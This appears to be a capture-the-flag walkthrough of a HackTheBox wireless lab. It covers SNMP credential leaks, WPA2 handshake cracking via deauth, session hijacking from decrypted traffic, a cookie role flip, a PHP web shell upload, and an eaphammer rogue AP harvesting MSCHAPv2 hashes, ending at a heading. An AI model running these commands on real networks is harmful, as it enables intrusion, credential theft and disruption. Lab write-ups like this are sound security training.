
Reconnaissance
I opened with a standard TCP service scan to see what was actually listening.
nmap -sC -sV -T4 --min-rate 1000 -oN nmap_quick.txt 10.129.244.98
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 bd:90:00:15:cf:4b:da:cb:c9:24:05:2b:01:ac:dc:3b (RSA)
| 256 6e:e2:44:70:3c:6b:00:57:16:66:2f:37:58:be:f5:c0 (ECDSA)
|_ 256 ad:d5:d5:f0:0b:af:b2:11:67:5b:07:5c:8e:85:76:76 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1 port open. For an HTB target this is thin, which typically indicates services on non-TCP protocols. Swept the full TCP range to confirm nothing on high ports.
nmap -p- -T4 --min-rate 5000 -oN nmap_full.txt 10.129.244.98
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds
Still only 22. When TCP turns up nothing interesting, UDP scan was done. Full UDP is painful, so I limited the probe to the top 50.
sudo nmap -sU --top-ports 50 -T4 -oN nmap_udp.txt 10.129.244.98
PORT STATE SERVICE
7/udp closed echo
53/udp closed domain
69/udp closed tftp
135/udp closed msrpc
161/udp open snmp
162/udp closed snmptrap
500/udp closed isakmp
...
161/udp was open. SNMP agents often ship with the public community string enabled, and the sysDescr OID commonly contains implementation details not intended for disclosure.
snmpwalk -v2c -c public 10.129.244.98
iso.3.6.1.2.1.1.1.0 = STRING: "\"The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)\""
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (20732) 0:03:27.32
iso.3.6.1.2.1.1.4.0 = STRING: "admin@AirTouch.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "Consultant"
iso.3.6.1.2.1.1.6.0 = STRING: "\"Consultant pc\""
The sysDescr.0 OID returned a plaintext admin note: "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)". sysName was Consultant. sysContact was admin@AirTouch.htb. Username and domain disclosed.
With credentials from SNMP and SSH as the only exposed service, the next step is SSH authentication.
ssh consultant@10.129.244.98
# password: RxBlZhLmOkacNWScmZ6D
consultant@AirTouch-Consultant:~$ id
uid=1000(consultant) gid=1000(consultant) groups=1000(consultant)
consultant@AirTouch-Consultant:~$ hostname
AirTouch-Consultant
consultant@AirTouch-Consultant:~$ ls -la
total 888
drwxr-xr-x 1 consultant consultant 4096 Apr 11 01:39 .
drwxr-xr-x 1 root root 4096 Jan 13 14:55 ..
lrwxrwxrwx 1 consultant consultant 9 Mar 27 2024 .bash_history -> /dev/null
-rw-r--r-- 1 consultant consultant 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 consultant consultant 3771 Feb 25 2020 .bashrc
drwx------ 2 consultant consultant 4096 Apr 11 01:39 .cache
-rw-r--r-- 1 consultant consultant 807 Feb 25 2020 .profile
-rw-r--r-- 1 consultant consultant 131841 Mar 27 2024 diagram-net.png
-rw-r--r-- 1 consultant consultant 743523 Mar 27 2024 photo_2023-03-01_22-04-52.png
Auth succeeded on the first attempt. Hostname: AirTouch-Consultant. No user.txt in the home directory, but 2 PNG files were present.
Both files were scp'd to the host. The first, diagram-net.png, is a logical network diagram of the engagement:
photo_2023-03-01_22-04-52.png is a photo of the same diagram, hand-drawn on graph paper:
- Both show the same layout. The environment is split into 3 isolated VLANs behind a NAT device:
- Consultant VLAN, where I currently was
- Tablets VLAN, served by an AP broadcasting SSID
AirTouch-Internet - Corp VLAN, served by an AP broadcasting SSID
AirTouch-Office
The box is a wireless engagement, not a web-exploit target, and the only path forward is over the air. Next step: enumerate the radios and privileges available on the consultant machine.
consultant@AirTouch-Consultant:~$ ip a
2: eth0@if29: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
link/ether c2:b6:cb:d0:9e:6d brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.20.1.2/24 brd 172.20.1.255 scope global eth0
7: wlan0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
8: wlan1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff
9: wlan2: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
10: wlan3: ...
11: wlan4: ...
12: wlan5: ...
13: wlan6: ...
2 observations. First, the host is a Docker container (indicated by the eth0@if29 veth-style interface and the 172.20.1.2/24 network). Second, the box has 7 wireless interfaces, wlan0 through wlan6. MAC addresses like 02:00:00:00:0X:00 are the signature of the mac80211_hwsim kernel module, which simulates 802.11 radios in software. HTB built the wireless range inside one VM using hwsim, providing 7 virtual NICs.
Sudo privileges next. Running the aircrack-ng suite or switching an interface to monitor mode requires root.
consultant@AirTouch-Consultant:~$ sudo -l
User consultant may run the following commands on AirTouch-Consultant:
(ALL) NOPASSWD: ALL
NOPASSWD on the lot, and the tools were already installed:
consultant@AirTouch-Consultant:~$ which iw aircrack-ng airodump-ng airmon-ng
/usr/sbin/iw
/usr/bin/aircrack-ng
/usr/sbin/airodump-ng
/usr/sbin/airmon-ng
I brought wlan0 up and ran a plain client scan to see which APs were in range.
sudo ip link set wlan0 up
sudo iw wlan0 scan
BSS f0:9f:c2:a3:f1:a7(on wlan0)
freq: 2437
signal: -30.00 dBm
SSID: AirTouch-Internet
DS Parameter set: channel 6
RSN: * Version: 1
* Group cipher: TKIP
* Pairwise ciphers: CCMP TKIP
* Authentication suites: PSK
BSS ac:8b:a9:aa:3f:d2(on wlan0)
SSID: AirTouch-Office
DS Parameter set: channel 44
RSN: * Authentication suites: PSK
...plus a handful of noise SSIDs (vodafoneFB6N, MOVISTAR_FG68, WIFI-JOHN)
Both SSIDs from the diagrams were in the air, both running WPA2-PSK. AirTouch-Internet sat on 2.4GHz channel 6. AirTouch-Office ran on 5GHz channel 44. The diagram placed the easier "tablets" network behind AirTouch-Internet, so that's where I went first.
Cracking the WPA2 Handshake
The plan for AirTouch-Internet was textbook WPA2-PSK: flip an interface into monitor mode, grab a 4-way handshake off a real client, and brute the resulting PMK offline against rockyou.txt. Step 1, monitor mode on wlan0.
sudo airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
That spawned a wlan0mon interface. From there I parked airodump-ng on channel 6 and filtered down to the target BSSID, which kept the capture file to frames from the AP I actually cared about.
sudo airodump-ng -c 6 --bssid f0:9f:c2:a3:f1:a7 -w airtouch_internet wlan0mon
CH 6 ][ Elapsed: 24 s ][ 2026-04-11 01:43
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH
F0:9F:C2:A3:F1:A7 -28 0 239 18 0 6 54 CCMP PSK
BSSID STATION PWR Rate Lost Frames Notes
F0:9F:C2:A3:F1:A7 28:6C:07:FE:A3:22 -29 48 -54 0 18
1 associated client appeared within seconds: 28:6C:07:FE:A3:22. The OUI belongs to Xiaomi, consistent with one of the "tablets" from the diagram. A passive capture can wait indefinitely for a client to roam, so a handshake was forced by sending a burst of deauth frames at the tablet. Deauth frames transmit unencrypted as management frames; the client obeys them and re-associates, which produces a fresh 4-way.
sudo aireplay-ng -0 5 -a f0:9f:c2:a3:f1:a7 -c 28:6C:07:FE:A3:22 wlan0mon
01:43:21 Waiting for beacon frame (BSSID: F0:9F:C2:A3:F1:A7) on channel 6
01:43:21 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22]
01:43:22 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22]
01:43:22 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22]
I ran airodump-ng in parallel with the deauth, killed it after a few seconds, and verified the capture actually held a handshake
aircrack-ng /tmp/airtouch_internet-02.cap
# BSSID ESSID Encryption
1 F0:9F:C2:A3:F1:A7 AirTouch-Internet WPA (1 handshake)
Choosing first network as target.
I pulled the .cap off the container with scp and cracked it on my host, where I had more CPU and rockyou.txt
aircrack-ng -w /tmp/rockyou.txt airtouch_internet.cap
[00:00:02] 27603/14344391 keys tested (12853.13 k/s)
Current passphrase: challenge
KEY FOUND! [ challenge ]
Almost instant. The PSK for AirTouch-Internet was challenge.
Joining the Tablets VLAN
The key alone is insufficient. Association to the tablets network from inside the container is required to route traffic to hosts behind the AP. Monitor mode was torn down and wlan0 returned to managed mode so wpa_supplicant could associate on
sudo airmon-ng stop wlan0mon
sudo ip link set wlan0 up
cat > /tmp/wpa.conf << EOF
network={
ssid="AirTouch-Internet"
psk="challenge"
key_mgmt=WPA-PSK
}
EOF
sudo wpa_supplicant -B -i wlan0 -c /tmp/wpa.conf
sudo dhclient wlan0
4: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 42:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
inet 192.168.3.48/24 brd 192.168.3.255 scope global dynamic wlan0
default via 172.20.1.1 dev eth0
172.20.1.0/24 dev eth0 proto kernel scope link src 172.20.1.2
192.168.3.0/24 dev wlan0 proto kernel scope link src 192.168.3.48
I was on the tablets VLAN at 192.168.3.48, with the gateway at 192.168.3.1. Sweep across that /24 only answered from the gateway itself, which was the AP.
sudo nmap -Pn -p- --min-rate 2000 192.168.3.1 -e wlan0
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
MAC Address: F0:9F:C2:A3:F1:A7 (Ubiquiti Networks)
3 services exposed on the AP: SSH, DNS (dnsmasq), and HTTP. The web server was the one. Running service detection gave me the application name, and rather than running curl inside the container over and over, I set up a local SSH forward from my attacker box onto the router's port 80.
ssh -L 8181:192.168.3.1:80 -f -N consultant@10.129.244.98
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:8181/login.php
200
http://127.0.0.1:8181/ on my host was now talking directly to the tablets-VLAN-facing admin panel on 192.168.3.1. The index immediately 302'd over to login.php, which looked like this:
<h3>PSK Router Login</h3>
<form action="" method="post" name="Login_Form">
<input name="Username" type="text">
<input name="Password" type="password">
<input name="Submit" type="submit" value="Login">
</form>
"PSK Router Login" is an unusual name. I tried the obvious defaults first, admin:admin, admin:password, ubnt:ubnt (Ubiquiti MAC, after all), the SNMP-leaked consultant password, and the cracked PSK challenge. All bounced with the same HTML snippet.
<span style='color:red'>Invalid Login Details</span>
Stock SQL injection payloads (' OR '1'='1, admin'-- -) didn't shift anything either, so the login wasn't obviously query-backed. I spent a minute content-discovering with gobuster to see if there was an unauthenticated endpoint I could pivot through.
gobuster dir -u http://127.0.0.1:8181 -w /snap/seclists/1214/Discovery/Web-Content/common.txt -x php, html, txt -t 50 -q
/index.php (Status: 302) [Size: 0] [--> login.php]
/lab.php (Status: 302) [Size: 0] [--> login.php]
/login.php (Status: 200) [Size: 907]
/uploads (Status: 301) [Size: 315] [--> http://127.0.0.1:8181/uploads/]
2 hits stood out. A protected /lab.php, and an /uploads/ directory throwing 403 on listing but clearly existing for a reason. Neither was reachable without authentication yet.
Sniffing the Tablet's Session
I was stuck on the web login, but I had an advantage that pure brute force does not. I already owned the WPA2 key, which meant I could drop back to the radio and decrypt every frame the tablet was sending over the air in real time. If that tablet had ever logged into that same admin panel, its cookies were sitting inside the encrypted 802.11 frames waiting to be pulled out and replayed.
I started a longer capture on a different wireless interface to avoid disturbing my managed-mode association on wlan0.
sudo airmon-ng start wlan1
sudo iw wlan1mon set channel 6
sudo airodump-ng --bssid f0:9f:c2:a3:f1:a7 -c 6 -w /tmp/longcap wlan1mon
To actually decrypt WPA2 traffic with airdecap-ng, the capture needs 2 things in the same file, the 4-way handshake for that client's current session, plus the data frames to decode. I did deauth on tablet again inside the recording window so it would re-handshake live.
sudo aireplay-ng -0 3 -a f0:9f:c2:a3:f1:a7 -c 28:6C:07:FE:A3:22 wlan1mon
I left it running for about two minutes, pulled down longcap-01.cap, and fed it through airdecap-ng with the cracked PSK.
airdecap-ng -e "AirTouch-Internet" -p challenge longcap.cap
Total number of stations seen 1
Total number of packets read 857
Total number of WPA data packets 60
Number of decrypted WPA packets 60
Sixty decrypted frames. Not huge, but more than enough when the client is loud in short bursts. airdecap-ng writes the plaintext packets out to longcap-dec.cap, which opens in any regular pcap tool. I piped it through tshark and filtered to HTTP.
tshark -r longcap-dec.cap -Y "http" -T fields -e http.request.method -e http.request.uri -e http.cookie -e http.user_agent -e http.response.code
GET /lab.php PHPSESSID=vutm02glgser308sr3klpmkhh7; UserRole=user curl/7.88.1
GET /lab.php PHPSESSID=vutm02glgser308sr3klpmkhh7; UserRole=user curl/7.88.1
GET /lab.php PHPSESSID=vutm02glgser308sr3klpmkhh7; UserRole=user curl/7.88.1
The tablet (a curl/7.88.1 cron or health-check running from 192.168.3.74) was polling /lab.php every ~40 seconds with an authenticated session, and I now had the full HTTP request, Cookie header included:
PHPSESSID=vutm02glgser308sr3klpmkhh7; UserRole=user
That UserRole cookie is a huge red flag. When access control lives in a client-side cookie, the value is usually just editable. I grabbed the stolen session and hit /lab.php directly from my attacker host through the SSH forward.
curl -s -b "PHPSESSID=vutm02glgser308sr3klpmkhh7; UserRole=user" http://127.0.0.1:8181/lab.php
<h3>Welcome manager</h3>
Congratulation! You have logged into password protected page.
<a href="index.php">Click here</a> to go to index.php to get the flag.
I was in as manager with UserRole=user. The more interesting question, would the page honour the cookie for authorization? I re-sent the request with the role flipped to admin.
curl -s -b "PHPSESSID=vutm02glgser308sr3klpmkhh7; UserRole=admin" http://127.0.0.1:8181/index.php
<h3>Hello, manager (admin)!</h3>
<h2>WiFi Settings</h2>
...
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">Upload Configuration File:</label>
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload File" name="submit">
</form>
Mass assignment on a cookie attempted, and it still worked cleanly. The admin view of index.php rendered an extra "Upload Configuration File" form that the user role never saw. That was the pivot.
Exploitation
A file-upload feature only matters if the server executes what I push. I remembered spotting logout.phtml earlier in the gobuster output, the fact that the devs treated .phtml as an active extension was a strong hint that Apache was handing .phtml files over to the PHP engine. If the upload form was only checking against obvious extensions like .php, a .phtml payload would slip right by.
cat > /tmp/shell.phtml << 'EOF'
<?php system($_GET['c']); ?>
EOF
curl -s -b "PHPSESSID=vutm02glgser308sr3klpmkhh7; UserRole=admin" \
-F "fileToUpload=@/tmp/shell.phtml" \
-F "submit=Upload File" \
http://127.0.0.1:8181/index.php
...
The file shell.phtml has been uploaded to folder uploads/
The file went through without complaint and landed in the same /uploads/ directory I'd already spotted.
curl -s "http://127.0.0.1:8181/uploads/shell.phtml?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl -s "http://127.0.0.1:8181/uploads/shell.phtml?c=hostname"
AirTouch-AP-PSK
RCE as www-data on a second host called AirTouch-AP-PSK. This was the router itself, not the consultant container.
curl -s "http://127.0.0.1:8181/uploads/shell.phtml" \
--data-urlencode "c=cat /etc/passwd | grep -v nologin; find / -name user.txt 2>/dev/null; ls -la /var/www/html/" -G
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
user:x:1000:1000::/home/user:/bin/bash
total 44
drwxr-xr-x 1 www-data www-data 4096 Jan 13 14:55 .
drwxr-xr-x 1 root root 4096 Jan 13 14:55 ..
-rw-r--r-- 1 www-data www-data 5556 Mar 27 2024 index.php
-rw-r--r-- 1 www-data www-data 512 Mar 27 2024 lab.php
-rw-r--r-- 1 www-data www-data 2542 Mar 27 2024 login.php
-rw-r--r-- 1 www-data www-data 1023 Mar 27 2024 logout.phtml
-rw-r--r-- 1 www-data www-data 1325 Mar 27 2024 style.css
drwxr-xr-x 1 www-data www-data 4096 Apr 11 01:59 uploads
One human user on the box, user, with a real shell. No user.txt readable by www-data. So I dumped the login page source to understand exactly how auth on this panel worked, and more importantly, whether anything embedded in it was worth stealing.
curl -s "http://127.0.0.1:8181/uploads/shell.phtml?c=cat+/var/www/html/login.php"
<?php session_start();
// Check if user is already logged in
if (isset($_SESSION['UserData']['Username'])) {
header("Location:index.php");
exit;
}
if (isset($_POST['Submit'])) {
/* Define username, associated password, and user attribute array */
$logins = array(
/*'user' => array('password' => 'JunDRDZKHDnpkpDDvay', 'role' => 'admin'),*/
'manager' => array('password' => '2wLFYNh4TSTgA5sNgT4', 'role' => 'user')
);
$Username = isset($_POST['Username']) ? $_POST['Username'] : '';
$Password = isset($_POST['Password']) ? $_POST['Password'] : '';
if (isset($logins[$Username]) && $logins[$Username]['password'] === $Password) {
$_SESSION['UserData']['Username'] = $logins[$Username]['password'];
$_SESSION['Username'] = $Username;
setcookie('UserRole', $logins[$Username]['role'], time() + (86400 * 30), "/");
header("location:index.php");
exit;
} else {
$msg = "<span style='color:red'>Invalid Login Details</span>";
}
}
?>
And there it was. Line 11, commented out:
/*'user' => array('password' => 'JunDRDZKHDnpkpDDvay', 'role' => 'admin'),*/
Someone had clearly meant to disable the user admin login by commenting it out. Which is a terrible pattern, because the credentials themselves are sitting right in the source. The live manager account I'd session-hijacked was role=user, and the real privileged login was the one commented out: user : JunDRDZKHDnpkpDDvay. Since the box had a local Linux user with the same name and a real bash shell, I went straight at SSH on the router with that pair.
SSH on the tablets VLAN was only reachable from inside the container, so I chained another local forward through my existing consultant SSH session and pointed it at 192.168.3.1:22.
ssh -L 2222:192.168.3.1:22 -f -N consultant@10.129.244.98
ssh -p 2222 user@127.0.0.1
# password: JunDRDZKHDnpkpDDvay
user@AirTouch-AP-PSK:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@AirTouch-AP-PSK:~$ hostname
AirTouch-AP-PSK
Password reuse panned out, and I landed a real interactive shell on the AP. Home directory was empty, no flag at ~/user.txt, so I checked sudo before chasing it.
user@AirTouch-AP-PSK:~$ sudo -l
User user may run the following commands on AirTouch-AP-PSK:
(ALL) NOPASSWD: ALL
Full NOPASSWD root on the router. At that point the user flag was a one-liner.
user@AirTouch-AP-PSK:~$ sudo find / -name user.txt 2>/dev/null
/root/user.txt
user@AirTouch-AP-PSK:~$ sudo cat /root/user.txt
0a947b0939da4e4819e65a64af6b9f84
Privilege Escalation: Looting /root on the PSK Router
Before touching the Corp network, the current box was worth mining for useful material. user on AirTouch-AP-PSK had full NOPASSWD sudo, so /root was fully accessible.
user@AirTouch-AP-PSK:~$ sudo ls -la /root/
drwx------ 1 root root 4096 Apr 11 01:35 .
drwxr-xr-x 1 root root 4096 Apr 11 01:35 ..
lrwxrwxrwx 1 root root 9 Nov 24 2024 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwxr-xr-x 2 root root 4096 Mar 27 2024 certs-backup
-rwxr-xr-x 1 root root 0 Mar 27 2024 cronAPs.sh
drwxr-xr-x 1 root root 4096 Apr 11 01:36 psk
-rw-r--r-- 1 root root 364 Nov 24 2024 send_certs.sh
-rwxr-xr-x 1 root root 1963 Mar 27 2024 start.sh
-rw-r----- 1 root 1001 33 Apr 11 01:35 user.txt
-rw-r--r-- 1 root root 319 Mar 27 2024 wlan_config_aps
3 items of interest: a certs-backup directory, a script named send_certs.sh, and a psk/ folder likely containing the live hostapd configs. The script was first, since names like send_certs commonly indicate credential leakage.
user@AirTouch-AP-PSK:~$ sudo cat /root/send_certs.sh
#!/bin/bash
# DO NOT COPY
# Script to sync certs-backup folder to AirTouch-office.
# Define variables
REMOTE_USER="remote"
REMOTE_PASSWORD="xGgWEwqUpfoOVsLeROeG"
REMOTE_PATH="~/certs-backup/"
LOCAL_FOLDER="/root/certs-backup/"
# Use sshpass to send the folder via SCP
sshpass -p "$REMOTE_PASSWORD" scp -r "$LOCAL_FOLDER" "$REMOTE_USER@10.10.10.1:$REMOTE_PATH"
The script hardcoded an SSH credential remote : xGgWEwqUpfoOVsLeROeG for 10.10.10.1, and disclosed 2 facts: the AirTouch-Office side of the network is on a 10.10.10.0/24 subnet not yet routable, and a certificate workflow is syncing across the VLANs.
user@AirTouch-AP-PSK:~$ sudo ls -la /root/certs-backup/
-rw-r--r-- 1 root root 1124 Mar 27 2024 ca.conf
-rw-r--r-- 1 root root 1712 Mar 27 2024 ca.crt
-rw-r--r-- 1 root root 1111 Mar 27 2024 server.conf
-rw-r--r-- 1 root root 1493 Mar 27 2024 server.crt
-rw-r--r-- 1 root root 1033 Mar 27 2024 server.csr
-rw-r--r-- 1 root root 168 Mar 27 2024 server.ext
-rw-r--r-- 1 root root 1704 Mar 27 2024 server.key
The directory contained a complete CA certificate (ca.crt) and a server identity (server.crt with server.key) for the AirTouch PKI, issued to CN=AirTouch CA, OU=Server, emailAddress=server@AirTouch.htb. The CA private key was absent, only the server's keypair was present — which rules out minting fresh client certs. It is, however, sufficient to stand up a fake EAP server that any client configured to trust the AirTouch CA will accept.
The last confirmation was the hostapd config for the tablets AP, which contained the previously cracked PSK.
user@AirTouch-AP-PSK:~$ sudo cat /root/psk/hostapd_wpa.conf
interface=wlan7
ssid=AirTouch-Internet
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_passphrase=challenge
ap_isolate=1
user@AirTouch-AP-PSK:~$ sudo cat /root/psk/hostapd_other0.conf
interface=wlan8
ssid=MOVISTAR_FG68
wpa_passphrase="bvZmh2dQ5ZC5Fe79YLzViAijK"
The "noise" SSIDs dismissed during the initial scan (MOVISTAR_FG68, WIFI-JOHN, vodafoneFB6N, MiFibra-24-D4VY) are broadcast by this router on wlan8 through wlan11.
Corp Recon: Meet AirTouch-Office
The diagram indicates AirTouch-Office runs on channel 44 (5GHz), but its security settings were not inspected previously, since earlier scans only covered the tablets AP. A fresh interface is brought up on the consultant container to examine the RSN information element.
sudo ip link set wlan2 up
sudo iw wlan2 scan freq 5220
BSS ac:8b:a9:aa:3f:d2(on wlan2)
freq: 5220
signal: -30.00 dBm
SSID: AirTouch-Office
RSN: * Version: 1
* Group cipher: CCMP
* Pairwise ciphers: CCMP
* Authentication suites: IEEE 802.1X
BSS ac:8b:a9:f3:a1:13(on wlan2)
SSID: AirTouch-Office
RSN: * Authentication suites: IEEE 802.1X
"Authentication suites: IEEE 802.1X" is the relevant line. This is not WPA2-PSK. The attack path used on the tablets network (capture handshake, crack PSK offline) does not apply. WPA2-Enterprise routes client authentication to a RADIUS server over EAP rather than against a shared password. Compromise requires 1 of 3 things: valid EAP credentials, a valid client certificate, or interception of the EAP exchange via a rogue AP followed by cracking the MSCHAPv2 challenge/response.
Before deploying a rogue AP, the EAP method in use and the presence of live clients need to be confirmed. airodump-ng was parked on channel 44:
sudo airmon-ng start wlan2
sudo iw wlan2mon set channel 44
sudo airodump-ng -c 44 -w /tmp/office wlan2mon
CH 44 ][ Elapsed: 24 s ][ 2026-04-11 02:15 ][ WPA handshake: AC:8B:A9:F3:A1:13
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH
AC:8B:A9:AA:3F:D2 -28 0 247 33 0 44 54e WPA2 CCMP MGT
AC:8B:A9:F3:A1:13 -28 0 247 50 0 44 54e WPA2 CCMP MGT
BSSID STATION PWR Rate Lost Frames Notes Pro
AC:8B:A9:AA:3F:D2 C8:8A:9A:6F:F9:D2 -29 6e-24e 63 39 PMKID AirT
AC:8B:A9:F3:A1:13 28:6C:07:12:EE:F3 -29 6e- 6e 14 33 PMKID AirT
AC:8B:A9:F3:A1:13 28:6C:07:12:EE:A1 -29 6e- 6e 0 35 PMKID AirT
3 active clients. AUTH=MGT is airodump-ng shorthand for management-frame auth (802.1X). The capture was pulled off the box and fed through tshark to examine the EAP exchanges:
tshark -r office.cap -Y "eapol || eap"
14 Ubiquiti_f3:a1:13 → XIAOMIElectr_12:ee:a1 EAP Request, Identity
15 XIAOMIElectr_12:ee:a1 → Ubiquiti_f3:a1:13 EAP Response, Identity
16 Ubiquiti_f3:a1:13 → XIAOMIElectr_12:ee:a1 EAP Request, Protected EAP (EAP-PEAP)
17 XIAOMIElectr_12:ee:a1 → Ubiquiti_f3:a1:13 TLSv1 Client Hello
18 Ubiquiti_f3:a1:13 → XIAOMIElectr_12:ee:a1 EAP Request, Protected EAP (EAP-PEAP)
...
20 Ubiquiti_f3:a1:13 → XIAOMIElectr_12:ee:a1 TLSv1.2 Server Hello, Certificate, Server Key Exchange, Server Hello Done
...
32 Ubiquiti_f3:a1:13 → XIAOMIElectr_12:ee:a1 EAP Success
33 Ubiquiti_f3:a1:13 → XIAOMIElectr_12:ee:a1 EAPOL Key (Message 1 of 4)
PEAP. Inside the PEAP TLS tunnel there is typically an MSCHAPv2 phase-2 exchange, which is crackable when observed in plaintext. This capture is not usable for that purpose, as the inner exchange is wrapped in a TLS tunnel between the real client and the real AP, and neither TLS private key is under attacker control. The client must therefore be induced to talk to the attacker instead.
Rogue AP Attack with eaphammer
The standard approach is hostapd-wpe or eaphammer. Both are patched hostapd builds that speak PEAP, present the attacker's server cert, accept any identity, and log the MSCHAPv2 username, challenge, and response in plaintext. A check on the consultant box confirmed availability:
consultant@AirTouch-Consultant:~$ which hostapd hostapd-wpe eaphammer
/usr/local/bin/hostapd-eaphammer
consultant@AirTouch-Consultant:~$ sudo ls /root/eaphammer/
...
eaphammer
certs
...
The eaphammer tree is located under /root/eaphammer. Next step: wire up the AirTouch CA extracted from the PSK router, so clients configured to trust that CA will accept the rogue.
ca.crt, server.crt, and server.key were scp'd off the AP (via the existing local forward) and placed into eaphammer's cert directories:
scp consultant@10.129.244.98:/tmp/ca.crt /tmp/
scp consultant@10.129.244.98:/tmp/server.crt /tmp/
scp consultant@10.129.244.98:/tmp/server.key /tmp/
# on consultant
sudo cp /tmp/ca.crt /root/eaphammer/certs/ca/
sudo cp /tmp/server.crt /root/eaphammer/certs/server/
sudo cp /tmp/server.key /root/eaphammer/certs/server/
sudo cp /tmp/ca.crt /tmp/server.crt /tmp/server.key /root/eaphammer/certs/active/
Eaphammer also requires a single fullchain.pem inside certs/active, used as both the cert bundle and the private key file in the generated hostapd config. Concatenating cert, key, and CA into 1 PEM satisfies this:
cat /tmp/server.crt /tmp/server.key /tmp/ca.crt > /tmp/fullchain.pem
scp /tmp/fullchain.pem consultant@10.129.244.98:/tmp/
sudo cp /tmp/fullchain.pem /root/eaphammer/certs/active/fullchain.pem
With the certs staged, the rogue AP was started on wlan3, on the same SSID, hardware mode, and channel as the real AirTouch-Office, so any deauthed client will see the rogue BSSID as a valid candidate:
sudo /root/eaphammer/eaphammer \
-i wlan3 \
--essid "AirTouch-Office" \
--creds \
--hw-mode a \
--channel 44
[*] I AM ROOOOOOOOOOOOT
[*] Root privs confirmed! 8D
[*] Using nmcli to tell NetworkManager not to manage wlan3...
Configuration file: /root/eaphammer/tmp/hostapd-....conf
Using interface wlan3 with hwaddr 00:11:22:33:44:00 and ssid "AirTouch-Office"
wlan3: interface state COUNTRY_UPDATE->ENABLED
wlan3: AP-ENABLED
[*] WPA handshakes will be saved to /root/eaphammer/loot/...
[hostapd] AP starting...
The rogue AP is up, but eaphammer's --creds mode blocks on input('Press enter to quit'), which causes nohup background execution to exit immediately on EOF. The workaround is a named pipe feeding stdin:
sudo mkfifo /tmp/eap_fifo
sudo nohup bash -c 'tail -f /tmp/eap_fifo | /root/eaphammer/eaphammer \
-i wlan3 --essid "AirTouch-Office" --creds --hw-mode a --channel 44 \
> /tmp/eap_out.log 2>&1' &
With the rogue AP running in the background, the real clients must be forced to associate to it rather than the legitimate APs. A second interface was placed into monitor mode, running a continuous broadcast deauth against both real BSSIDs to force re-association:
sudo airmon-ng start wlan4
sudo iw wlan4mon set channel 44
sudo nohup bash -c 'while true; do
aireplay-ng -0 5 -a ac:8b:a9:aa:3f:d2 wlan4mon
aireplay-ng -0 5 -a ac:8b:a9:f3:a1:13 wlan4mon
sleep 1
done' > /tmp/deauth.log 2>&1 &
I checked the rogue's log and found exactly what I wanted:
sudo cat /tmp/eap_out.log | tail -20
wlan3: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
mschapv2: Sat Apr 11 02:32:11 2026
domain\username: AirTouch\r4ulcl
username: r4ulcl
challenge: 58:80:cb:c7:45:df:9e:71
response: 5f:2c:27:74:08:9d:8e:61:cb:ca:20:b4:82:3a:04:36:2f:95:18:bd:41:10:69:e9
jtr NETNTLM: r4ulcl:$NETNTLM$5880cbc745df9e71$5f2c2774089d8e61cbca20b4823a04362f9518bd411069e9
hashcat NETNTLM: r4ulcl::::5f2c2774089d8e61cbca20b4823a04362f9518bd411069e9:5880cbc745df9e71
Full plaintext MSCHAPv2 capture. Identity is AirTouch\r4ulcl, using the backslash-prefixed domain form. Eaphammer pre-formats the hash for both John the Ripper and hashcat.
Cracking the MSCHAPv2 Hash
MSCHAPv2 hashes land in hashcat mode 5500 (NetNTLMv1). With the format already printed by eaphammer:
echo 'r4ulcl::::5f2c2774089d8e61cbca20b4823a04362f9518bd411069e9:5880cbc745df9e71' > /tmp/netntlm.hash
hashcat -m 5500 /tmp/netntlm.hash /tmp/rockyou.txt
r4ulcl::::5f2c2774089d8e61cbca20b4823a04362f9518bd411069e9:5880cbc745df9e71:laboratory
Session..........: hashcat
Status...........: Cracked
Cracked in seconds. The password for r4ulcl on AirTouch-Office was laboratory.
Joining AirTouch-Office for Real
